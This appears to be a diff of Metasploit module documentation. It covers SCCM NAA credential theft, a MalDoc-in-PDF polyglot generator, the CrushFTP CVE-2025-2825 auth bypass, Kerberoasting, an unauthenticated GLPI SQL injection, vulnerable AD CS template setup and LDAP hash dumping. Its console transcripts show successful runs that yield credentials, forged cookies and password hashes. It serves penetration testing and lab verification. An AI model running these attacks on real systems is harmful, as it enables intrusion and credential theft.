COMPUTER_PASS yes The password of the provided computer account
|
||||
COMPUTER_USER yes The username of a computer account
|
||||
MANAGEMENT_POINT no The management point (SCCM server) to use
|
||||
SITE_CODE no The site code to use on the management point
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION 1 no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS no The domain controller (for autodiscovery). Not required if providing a management point and site code
|
||||
RPORT 389 no The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP)
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
msf6 auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
|
||||
[+] Found Management Point: MECM.sccm.lab (Site code: P01)
|
||||
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
|
||||
[*] Waiting 5 seconds for SCCM DB to update...
|
||||
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
|
||||
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Manual discovery
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
|
||||
CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab
|
||||
=========================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cn SMS-MP-P01-MECM.SCCM.LAB
|
||||
dnshostname MECM.sccm.lab
|
||||
mssmssitecode P01
|
||||
|
||||
[*] Query returned 1 result.
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials
|
||||
|
||||
msf6 auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01
|
||||
|
||||
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
|
||||
[*] Waiting 5 seconds for SCCM DB to update...
|
||||
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
|
||||
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,101 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The technique is called "MalDoc in PDF". This technique hides malicious Word documents in PDF files,
|
||||
which is why malicious code contained in them cannot be detected by many analysis tools.
|
||||
|
||||
The document can be opened in both Microsoft Word and a PDF reader.
|
||||
|
||||
However, for the macro to run, you must open this document in Microsoft Word. The attack does not bypass
|
||||
configured macro locks. The malicious macros are also not executed when the file is opened in PDF readers
|
||||
or similar software.
|
||||
|
||||
### Introduction
|
||||
|
||||
A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file
|
||||
structure of PDF.
|
||||
|
||||
If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors.
|
||||
|
||||
## For Testing
|
||||
|
||||
You create a `Single File Web Page (*.mht, *.mhtml)` file containing a VBS macro. For testing, you can use the
|
||||
following macro:
|
||||
|
||||
```
|
||||
Sub AutoOpen()
|
||||
MsgBox "Macro executed successfully!", vbInformation, "Information"
|
||||
End Sub
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `auxiliary/fileformat/maldoc_in_pdf_polyglot`
|
||||
3. Do: `set FILENAME /tmp/macro.htm`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### FILENAME
|
||||
|
||||
The input MHT filename with macro embedded.
|
||||
|
||||
### INJECTED_PDF
|
||||
|
||||
The input PDF filename to be injected. (optional)
|
||||
|
||||
### MESSAGE_PDF
|
||||
|
||||
The message to display in the local PDF template (if INJECTED_PDF is NOT used). Default: You must open this document in Microsoft Word
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Create without PDF template
|
||||
|
||||
```
|
||||
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > options
|
||||
|
||||
Module options (auxiliary/fileformat/maldoc_in_pdf_polyglot):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FILENAME /tmp/macro.mht yes The input MHT filename with macro embedded
|
||||
INJECTED_PDF no The input PDF filename to be injected (optional)
|
||||
MESSAGE_PDF You must open this document in Microsoft Word no The message to display in the local PDF template (if INJECTED_PDF is NOT used)
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > run
|
||||
[*] PDF creation using local template
|
||||
[+] The file 'macro.doc' is stored at '/home/mekhalleh/.msf4/local/macro.doc'
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Create using PDF template
|
||||
|
||||
```
|
||||
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > options
|
||||
|
||||
Module options (auxiliary/fileformat/maldoc_in_pdf_polyglot):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FILENAME /tmp/macro.mht yes The input MHT filename with macro embedded
|
||||
INJECTED_PDF /tmp/injected.pdf no The input PDF filename to be injected (optional)
|
||||
MESSAGE_PDF You must open this document in Microsoft Word no The message to display in the local PDF template (if INJECTED_PDF is NOT used)
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > run
|
||||
[*] PDF creation using 'injected.pdf' as template
|
||||
[+] The file 'macro.doc' is stored at '/home/mekhalleh/.msf4/local/macro.doc'
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
1. <https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html>
|
||||
2. <https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/>
|
||||
3. <https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/>
|
||||
4. <https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo>
|
||||
@@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers
|
||||
with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API
|
||||
to authenticate as that user without valid credentials. When successfully executed, the exploit will
|
||||
output working session cookies for the target user account. This vulnerability is tracked as CVE-2025-2825.
|
||||
More information can be found in the [Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis).
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETUSER
|
||||
The target account to forge a session cookie for (default: crushadmin).
|
||||
|
||||
## Testing
|
||||
To set up a test environment:
|
||||
1. Download a vulnerable 11.3.0 'CrushFTP.jar' file (SHA256: 6fbca7826d967bc56effb376743ff7921df907c576da74252844db9aeb0385a4).
|
||||
2. Configure `CRUSH_DIR` in `crushftp_init.sh` to point to the correct install directory.
|
||||
3. Execute `java -jar CrushFTP.jar` to show a local client GUI interface that can be used to set up an admin account.
|
||||
4. Execute `sudo crushftp_init.sh start` to launch the software on Linux or Mac. If on Windows, run `CrushFTP.exe` as an administrator.
|
||||
5. Follow the verification steps below.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/gather/crushftp_authbypass_cve_2025_2825`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set RPORT <TARGET_PORT>`
|
||||
5. `set TARGETUSER <TARGET_USER>`
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
### CrushFTP on Windows, Linux, or Mac
|
||||
```
|
||||
msf6 > use auxiliary/gather/crushftp_authbypass_cve_2025_2825
|
||||
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > set RHOSTS 192.168.181.129
|
||||
RHOSTS => 192.168.181.129
|
||||
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > set TARGETUSER crushadmin
|
||||
TARGETUSER => crushadmin
|
||||
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > show options
|
||||
|
||||
Module options (auxiliary/gather/crushftp_authbypass_cve_2025_2825):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.181.129 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The URI path to CrushFTP
|
||||
TARGETUSER crushadmin yes The target account to forge a session cookie for
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > run
|
||||
[*] Running module against 192.168.181.129
|
||||
|
||||
[*] Confirming the target is a CrushFTP web service
|
||||
[*] Attempting to bypass authentication
|
||||
[+] The target returned the expected empty response and is likely vulnerable
|
||||
[*] Attempting to access an authenticated API endpoint with the malicious session cookie
|
||||
[+] Authentication bypass succeeded! Cookie string generated
|
||||
Cookie: CrushAuth=1743641873_PrrQtXKr3iuXBCqQIPcIbfx20w5uW3; currentAuth=5uW3
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -1,31 +0,0 @@
|
||||
## Description
|
||||
|
||||
This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPNs NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To avoid library/version conflict, it would be useful to have a pipenv virtual environment.
|
||||
|
||||
* `pipenv --two && pipenv shell`
|
||||
* Follow the [impacket installation steps](https://github.com/CoreSecurity/impacket#installing) to install the required libraries.
|
||||
* Have a domain user account credentials
|
||||
* `./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts <dc-ip> ; set smbuser <user> ; set smbpass <password> ; set smbdomain <domain> ; run'`
|
||||
* Get Hashes
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
$ ./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts <dc-ip> ; set smbuser <user> ; set smbpass <password> ; set smbdomain <domain> ; run'
|
||||
rhosts => <dc-ip>
|
||||
smbuser => <user>
|
||||
smbpass => <password>
|
||||
smbdomain => <domain>
|
||||
[*] Running for <domain>...
|
||||
[*] Total of records returned <num>
|
||||
[+] ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
|
||||
[+] ------------------------------------------------ ---------- -------------------------------------------------------------------------------- ------------------- -------------------
|
||||
[+] SPN... User... List... DateTime... Time...
|
||||
[+] $krb5tgs$23$*user$realm$test/spn*$<data>
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,154 @@
|
||||
## Vulnerable Application
|
||||
GLPI <= 1.0.18 fails to properly sanitize user supplied data when sent inside a `SimpleXMLElement`
|
||||
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
|
||||
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
|
||||
data from the backend database such as usernames and password hashes.
|
||||
|
||||
In order for GLPI to be exploitable the GLPI Inventory plugin must be installed and enabled, and the "Enable Inventory"
|
||||
radio button inside the administration configuration also must be checked.
|
||||
|
||||
### Setup on Ubuntu 22.04
|
||||
|
||||
Install PHP dependencies:
|
||||
```
|
||||
sudo add-apt-repository ppa:ondrej/php
|
||||
sudo apt install apache2 php8.3 php8.3-curl php8.3-zip php8.3-gd php8.3-intl \
|
||||
php8.3-intl php-pear php8.3-imagick php-bz2 php8.3-imap php-memcache php8.3-pspell \
|
||||
php8.3-tidy php8.3-xmlrpc php8.3-xsl php8.3-mbstring php8.3-ldap php-cas php-apcu \
|
||||
libapache2-mod-php8.3 php8.3-mysql mariadb-server
|
||||
```
|
||||
|
||||
Ensure mariadb and apache are installed and running:
|
||||
```
|
||||
sudo systemctl status apache2
|
||||
sudo systemctl status mariadb
|
||||
```
|
||||
|
||||
Run the mysql secure installation script, input defaults and your desired username password:
|
||||
```
|
||||
sudo mysql_secure_installation
|
||||
```
|
||||
|
||||
Connect to the database:
|
||||
```
|
||||
sudo mysql -u root -p
|
||||
```
|
||||
|
||||
Create a database user `msfuser` and a database named `glpi`:
|
||||
```
|
||||
CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'notpassword';
|
||||
CREATE DATABASE glpi;
|
||||
GRANT ALL PRIVILEGES ON glpi.* TO 'msfuser'@'localhost';
|
||||
FLUSH PRIVILEGES;
|
||||
EXIT;
|
||||
```
|
||||
|
||||
Download the vulnerable version of GLPI, extract it and move it to `/var/www/html`:
|
||||
```
|
||||
wget https://github.com/glpi-project/glpi/releases/download/10.0.17/glpi-10.0.17.tgz
|
||||
tar -xvf glpi-10.0.17.tgz
|
||||
sudo mv glpi /var/www/html/
|
||||
```
|
||||
|
||||
Download the vulnerable inventory plugin:
|
||||
```
|
||||
cd /var/www/html/glpi/plugins
|
||||
sudo wget https://github.com/glpi-project/glpi-inventory-plugin/releases/download/1.4.0/glpi-glpiinventory-1.4.0.tar.bz2
|
||||
sudo tar -xvjf glpi-glpiinventory-1.4.0.tar.bz2
|
||||
```
|
||||
|
||||
Set the necessary permissions:
|
||||
```
|
||||
sudo chmod 755 -R /var/www/html/
|
||||
sudo chown www-data:www-data -R /var/www/html/
|
||||
```
|
||||
|
||||
Edit sites-available:
|
||||
```
|
||||
sudo vim /etc/apache2/sites-available/glpi.conf
|
||||
```
|
||||
|
||||
Paste:
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin admin@your_domain.com
|
||||
DocumentRoot /var/www/html/glpi
|
||||
ServerName your-domain.com
|
||||
|
||||
<Directory /var/www/html/glpi>
|
||||
Options FollowSymlinks
|
||||
AllowOverride All
|
||||
Require all granted
|
||||
</Directory>
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/your-domain.com_error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/your-domain.com_access.log combined
|
||||
|
||||
</VirtualHost>
|
||||
```
|
||||
|
||||
Create the following symlink, rewrite and restart:
|
||||
```
|
||||
sudo ln -s /etc/apache2/sites-available/glpi.conf /etc/apache2/sites-enabled/glpi.conf
|
||||
sudo a2enmod rewrite
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
|
||||
The application should be now available at `http://127.0.0.1/glpi`, navigate there in a browser to complete the setup wizard.
|
||||
Warnings in the `Checking of the compatibility of your environment with the execution of GLPI` can be ignored, click continue.
|
||||
It will ask you for the database credentials created above, input them and select the `glpi` database created above.
|
||||
|
||||
Once complete you'll be brought to a login page, authenticate using the default credentials `glpi`/`glpi`.
|
||||
|
||||
On the left hand side select and expand `Administration` in the dropdown select `Inventory`.
|
||||
On the right hand side select `Enable Inventory`, then `Save` at the bottom.
|
||||
|
||||
On the left hand side select and expand `Setup` in the dropdown select `Plugins`.
|
||||
Near the bottom of the screen find the `GLPI Inventory` plugin and under `Actions` click the install button (Folder icon with `+` symbol).
|
||||
After installing the plugin a pop up will appear in the bottom right and ask if you want to enable the plugin, enable it.
|
||||
|
||||
Now the application should be vulnerable.
|
||||
|
||||
## Options
|
||||
|
||||
### DB_COLUMNS
|
||||
The number of columns in the database. Can vary between versions, adjust this if exploit does not work initially.
|
||||
|
||||
### MAX_ENTRIES
|
||||
The maximum number of entries to dump from the database. More entries will increase module runtime.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
1. Do: `use gather/glpi_inventory_plugin_unauth_sqli`.
|
||||
1. Set the `RHOST`.
|
||||
1. Set `MAX_ENTRIES` to `1` to speed up module run time for verification.
|
||||
1. Run the module.
|
||||
1. Receive a table with one username and it's corresponding password hash.
|
||||
|
||||
## Scenarios
|
||||
### GLPI 10.0.17 running on Ubuntu 22.04
|
||||
```
|
||||
msf6 > use gather/glpi_inventory_plugin_unauth_sqli
|
||||
msf6 auxiliary(gather/glpi_inventory_plugin_unauth_sqli) > set rhost 172.16.199.130
|
||||
rhost => 172.16.199.130
|
||||
msf6 auxiliary(gather/glpi_inventory_plugin_unauth_sqli) > exploit
|
||||
[*] Reloading module...
|
||||
[*] Running module against 172.16.199.130
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Extracting credential information
|
||||
glpi_users
|
||||
==========
|
||||
|
||||
name password api_token
|
||||
---- -------- ---------
|
||||
Plugin_GLPI_Inventory 39
|
||||
glpi $2y$10$ci01zoEXHWOfoxietd8ry.2K6Y3wR5bc1dZQiftuFM5hqQtPgD6LS
|
||||
glpi-system
|
||||
normal $2y$10$iaxy0646EhwsuBbjAgme4uJN6SN.pbyK.ciTCnep67Wq8x.qt1JvS
|
||||
post-only $2y$10$//Ca44JjRIV/9Hv1IEM1y.v1aEa3FwzytX4QYtKsxyqF/rnOzROei
|
||||
tech $2y$10$KjaOxGSyd0CMifvDVNiggOxCVHP0g8jER/jLtZsmF54S63LH5GWIy
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,72 @@
|
||||
## Kerberoast
|
||||
|
||||
This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain, and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPN user's NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts.
|
||||
|
||||
## Module usage
|
||||
|
||||
- Start `msfconsole`
|
||||
- Do: `use auxiliary/gather/kerberoast`
|
||||
- Do: `run rhost=<IP> domain=<FQDN> password=<pass> username=<username> target_user=<optional_user>`
|
||||
- If a target user has been requested, the module will log in to LDAP, find any SPNs associated with that user, and then request that service ticket.
|
||||
- If no target user has been requested, the module will request service tickets for all available users.
|
||||
- A crackable value will be displayed for all valid accounts.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### DOMAIN / LDAPDOMAIN
|
||||
The Fully Qualified Domain Name (FQDN). Ex: mydomain.local.
|
||||
|
||||
### USERNAME / LDAPUSERNAME
|
||||
The username to authenticate to the DC with
|
||||
|
||||
### PASSWORD / LDAPPASSWORD
|
||||
The password to authenticate to the DC with
|
||||
|
||||
### Rhostname
|
||||
|
||||
The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Target user
|
||||
|
||||
To retrieve a TGS for a particular user, set `TARGET_USER`.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin target_user=low.admin
|
||||
[*] Running module against 20.248.208.9
|
||||
[+] 20.248.208.9:88 - Received a valid TGT-Response
|
||||
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_656516.bin
|
||||
[+] 20.248.208.9:88 - Received a valid TGS-Response
|
||||
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_233943.bin
|
||||
[+] Success:
|
||||
$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$faf4a87156a49afd69de3c8b$582f8daec4a5f88fba...
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### All users
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin
|
||||
[*] Running module against 20.248.208.9
|
||||
|
||||
[+] 20.248.208.9:88 - Received a valid TGT-Response
|
||||
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_281438.bin
|
||||
[+] 20.248.208.9:88 - Received a valid TGS-Response
|
||||
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_360340.bin
|
||||
[+] 20.248.208.9:88 - Received a valid TGT-Response
|
||||
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_642663.bin
|
||||
[+] 20.248.208.9:88 - Received a valid TGS-Response
|
||||
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_556183.bin
|
||||
|
||||
[+] Query returned 2 results.
|
||||
[+] Success:
|
||||
$krb5tgs$23$*kerber.roastable$MSF.LOCAL$http/abc2.msf.local*$d335dc07b2c018de2a19e2ecc102bd1d$abc848...
|
||||
$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$a1c7c1c1e31e36cdb0721928$b69b48...
|
||||
[!] NOTE: Multiple encryption types returned - will require separate cracking runs for each type.
|
||||
[*] To obtain the crackable values for a praticular type, run `creds`:
|
||||
[*] creds -t krb5tgs-rc4 -O 20.248.208.9 -o <outfile.(jtr|hcat)>
|
||||
[*] creds -t krb5tgs-aes128 -O 20.248.208.9 -o <outfile.(jtr|hcat)>
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -79,6 +79,58 @@ a normal user account by analyzing the objects in LDAP.
|
||||
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC4 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC4-Template`, then click `Apply`.
|
||||
1. Go to the `Security` tab.
|
||||
1. Under `Groups or usernames` select `Authenticated Users`
|
||||
1. Under `Permissions for Authenticated Users` select `Write` -> `Allow`.
|
||||
1. Click `Apply` and then click `OK` to issue the certificate.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
|
||||
1. Click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC13 Vulnerable Certificate Template
|
||||
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC13`, then click `Apply`.
|
||||
1. Go to the `Extensions` tab, click the Issuance Policies entry, click the `Add` button, click the `New...` button.
|
||||
1. Name the new issuance policy `ESC13-Issuance-Policy`.
|
||||
4. Copy the Object Identifier as this will be needed later (ex: 11.3.6.1.4.1.311.21.8.12682474.6065318.6963902.6406785.3291287.83.1172775.12545198`).
|
||||
1. Leave the CPS location field blank.
|
||||
1. Click `Apply`.
|
||||
1. Open Active Directory Users and Computers, expand the domain on the left hand side.
|
||||
1. Right click `Users` and navigate to New -> Group.
|
||||
1. Enter `ESC13-Group` for the Group Name.
|
||||
1. Select `Universal` for Group scope and `Security` for Group type.
|
||||
1. Click `Apply`.
|
||||
1. Open ADSI Edit.
|
||||
1. In the left hand side right click `ADSI Edit` and select `Connect to...`.
|
||||
1. Under `Select a well known naming context` select `Default naming context`.
|
||||
1. Select the newly established connection, select the domain, select `CN=User`.
|
||||
1. On the right hand side find the recently created security group `CN=ESC13-Group`, right click select properties.
|
||||
1. Copy the value of the `distinguishedName` attribute, save this as we'll need it later.
|
||||
1. Back on the left hand side establish another connection, right click `ADSI Edit` and select `Connect to...`.
|
||||
1. This time under `Select a well known naming context` select `Configuration`.
|
||||
1. Select the newly established connection, select the domain, select `CN=Services` -> `CN=Public Key Services` -> `CN=OID`.
|
||||
1. In the right hand side find the object that corresponds to the Object Identifier saved earlier.
|
||||
1. The OID saved earlier ended in `12545198`, the object on the right will start with `CN=12545198.` followed by 34 hex characters. ex: `CN=12545198.7BCA239924D9515E63EA6B6F00748837`).
|
||||
1. Once located right click -> properties, select `msDS-OIDToGroupLink`.
|
||||
1. Paste the `distingushedName` of the security group saved above (ex: `CN=ESC13-Group,CN=Users,DC=demo,DC=lab`).
|
||||
1. Click `Apply`.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
|
||||
1. Click `New` followed by `Certificate Template to Issue`.
|
||||
1. Scroll down and select the `ESC13-Template` certificate, and select `OK`.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
### Setting up a ESC15 Vulnerable Certificate Template
|
||||
1. ESC15 depends on the schema version of the template being version 1 - which can no longer be created so we will edit an existing template that is schema version 1.
|
||||
1. Right click the `WebServer` template, select properties.
|
||||
1. Go to the Security Tab.
|
||||
1. Under `Groups or usernames` select `Authenticated Users`.
|
||||
1. Under `Permissions for Authenticated Users` select `Enroll` -> `Allow`.
|
||||
1. Click Apply.
|
||||
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder and ensure `WebServer` is listed, if it's not, add it.
|
||||
1. The certificate should now be available to be issued by the CA server.
|
||||
|
||||
## Module usage
|
||||
|
||||
1. Do: Start msfconsole
|
||||
|
||||
@@ -1,204 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module uses an LDAP connection to dump data from LDAP server
|
||||
using an anonymous or authenticated bind.
|
||||
Searching for specific attributes it collects user credentials.
|
||||
|
||||
### Setup
|
||||
|
||||
Tested in the wild.
|
||||
|
||||
You may eventually setup an intentionally insecure OpenLDAP server in docker.
|
||||
The below OpenLDAP server does not have any ACL, therefore the hashPassword
|
||||
attributes are readable by anonymous clients.
|
||||
|
||||
```
|
||||
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
|
||||
$ cd bitnami-docker-openldap
|
||||
$ docker-compose up -d
|
||||
Creating bitnami-docker-openldap_openldap_1 ... done
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389
|
||||
RPORT => 1389
|
||||
msf5 auxiliary(gather/ldap_hashdump) > options
|
||||
|
||||
Module options (auxiliary/gather/ldap_hashdump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it]
|
||||
DOMAIN no The domain to authenticate to
|
||||
MAX_LOOT no Maximum number of LDAP entries to loot
|
||||
PASSWORD no The password to authenticate with
|
||||
PASS_ATTR userPassword, sambantpassword, sambalmpassword, mailu yes LDAP attribute, that contains password hashes
|
||||
serpassword, password, pwdhistory, passwordhistory, c
|
||||
learpassword
|
||||
READ_TIMEOUT 600 no LDAP read timeout in seconds
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
|
||||
tml
|
||||
RPORT 1389 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME no The username to authenticate with
|
||||
USER_ATTR dn no LDAP attribute(s), that contains username
|
||||
|
||||
Auxiliary action:
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump Dump all LDAP data
|
||||
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) >
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=example,dc=org
|
||||
[*] Dumping LDAP data from server at 127.0.0.1:1389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt
|
||||
[*] Searching for attribute: userPassword
|
||||
[*] Taking dn attribute as username
|
||||
[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1
|
||||
[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/ldap_hashdump) >
|
||||
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
